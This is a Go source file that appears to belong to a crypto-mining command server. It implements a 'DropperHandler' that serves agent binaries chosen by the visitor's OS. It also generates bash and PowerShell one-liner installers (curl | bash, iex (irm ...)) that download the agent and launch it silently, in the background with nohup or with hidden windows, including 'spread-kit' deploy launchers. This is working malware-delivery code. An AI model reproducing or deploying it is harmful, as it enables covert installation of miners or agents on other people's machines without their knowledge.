package api import ( "fmt" "net/http" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" ) // DropperHandler serves the one-liner remote-install endpoints: // // GET /get — auto-detect OS from User-Agent, serve latest binary // GET /get?os=windows — explicit platform: windows | linux | darwin | universal // GET /install.sh — bash one-liner installer (Linux / macOS) // GET /install.ps1 — PowerShell one-liner installer (Windows) type DropperHandler struct { db *dbpkg.Database publicURLFunc func() string } func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler { return &DropperHandler{db: database, publicURLFunc: publicURLFunc} } func (h *DropperHandler) publicURL() string { if h.publicURLFunc != nil { if u := h.publicURLFunc(); u != "" { return strings.TrimRight(u, "/") } } return "" } // detectPlatform picks the right build platform from an explicit query param or // the User-Agent header. Returns one of: windows, linux, darwin, universal. func detectPlatform(r *http.Request) string { if p := r.URL.Query().Get("os"); p != "" { switch strings.ToLower(p) { case "windows", "win": return "windows" case "linux": return "linux" case "darwin", "mac", "macos": return "darwin" case "universal", "any": return "universal" } } ua := strings.ToLower(r.Header.Get("User-Agent")) switch { case strings.Contains(ua, "windows"): return "windows" case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"): return "darwin" case strings.Contains(ua, "linux"): return "linux" } return "" // caller will fall back to latest build regardless of platform } // ServeGet handles GET /get — serves the latest agent binary for the detected platform. func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) { platform := detectPlatform(r) // Try exact platform match, then fall back to universal, then any. candidates := []string{platform, "universal", ""} if platform == "" { candidates = []string{"universal", ""} } var buildPath, buildName string for _, p := range candidates { b, err := h.db.GetLatestBuildForPlatform(p) if err == nil && b != nil { buildPath = b.FilePath buildName = filepath.Base(b.FilePath) break } } if buildPath == "" { http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound) return } w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName)) w.Header().Set("Content-Type", "application/octet-stream") http.ServeFile(w, r, buildPath) } // ServeSh handles GET /install.sh — returns a bash one-liner installer. func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) { base := h.publicURL() if base == "" { // Best-effort: derive from request scheme := "http" if r.TLS != nil { scheme = "https" } base = scheme + "://" + r.Host } script := fmt.Sprintf(`#!/bin/sh # AetherForge one-liner installer # Usage: curl -sL %s/install.sh | bash set -e OS="$(uname -s | tr '[:upper:]' '[:lower:]')" ARCH="$(uname -m)" case "$ARCH" in x86_64) ARCH="amd64" ;; aarch64|arm64) ARCH="arm64" ;; esac TMPDIR="$(mktemp -d)" DEST="$TMPDIR/worker" echo "[*] Downloading agent for $OS/$ARCH..." curl -sL -o "$DEST" "%s/get?os=$OS" if file "$DEST" 2>/dev/null | grep -q "Zip"; then echo "[*] Extracting universal bundle..." unzip -q "$DEST" -d "$TMPDIR/bundle" cd "$TMPDIR/bundle" # Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command if [ "$OS" = "darwin" ]; then for L in Start.command start.command; do if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi done fi for L in start.sh deploy.sh; do if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi done echo "[!] Could not find launcher in bundle" exit 1 fi chmod +x "$DEST" echo "[*] Launching..." nohup "$DEST" >/dev/null 2>&1 & echo "[+] Agent started (pid $!)" `, base, base) w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.sh"`) fmt.Fprint(w, script) } // ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer. func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) { base := h.publicURL() if base == "" { scheme := "http" if r.TLS != nil { scheme = "https" } base = scheme + "://" + r.Host } // PowerShell backticks would conflict with Go raw-string backticks; build the // script as a regular string so we can escape them properly. bt := "`" // backtick character script := "# AetherForge one-liner installer\n" + "# Usage: iex (irm '" + base + "/install.ps1')\n\n" + "$ErrorActionPreference = 'Stop'\n" + "$url = '" + base + "/get?os=windows'\n" + "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" + "Write-Host '[*] Downloading agent...'\n" + "Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" + "$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" + "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" + "if ($isZip) {\n" + " Write-Host '[*] Extracting universal bundle...'\n" + " $dir = $tmp + '_bundle'\n" + " Add-Type -AssemblyName System.IO.Compression.FileSystem\n" + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" + // Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both. " $bat = $null\n" + " foreach ($name in @('Start.bat','Deploy.bat')) {\n" + " $candidate = Join-Path $dir $name\n" + " if (Test-Path $candidate) { $bat = $candidate; break }\n" + " }\n" + " if ($bat) {\n" + " Write-Host '[*] Running launcher...'\n" + " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" + " } else {\n" + " Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" + " }\n" + "} else {\n" + " $exe = $tmp + '.exe'\n" + " Move-Item -Path $tmp -Destination $exe -Force\n" + " Write-Host '[*] Launching...'\n" + " Start-Process -FilePath $exe -WindowStyle Hidden\n" + "}\n" + "Write-Host '[+] Agent deployed.'\n" w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`) fmt.Fprint(w, script) }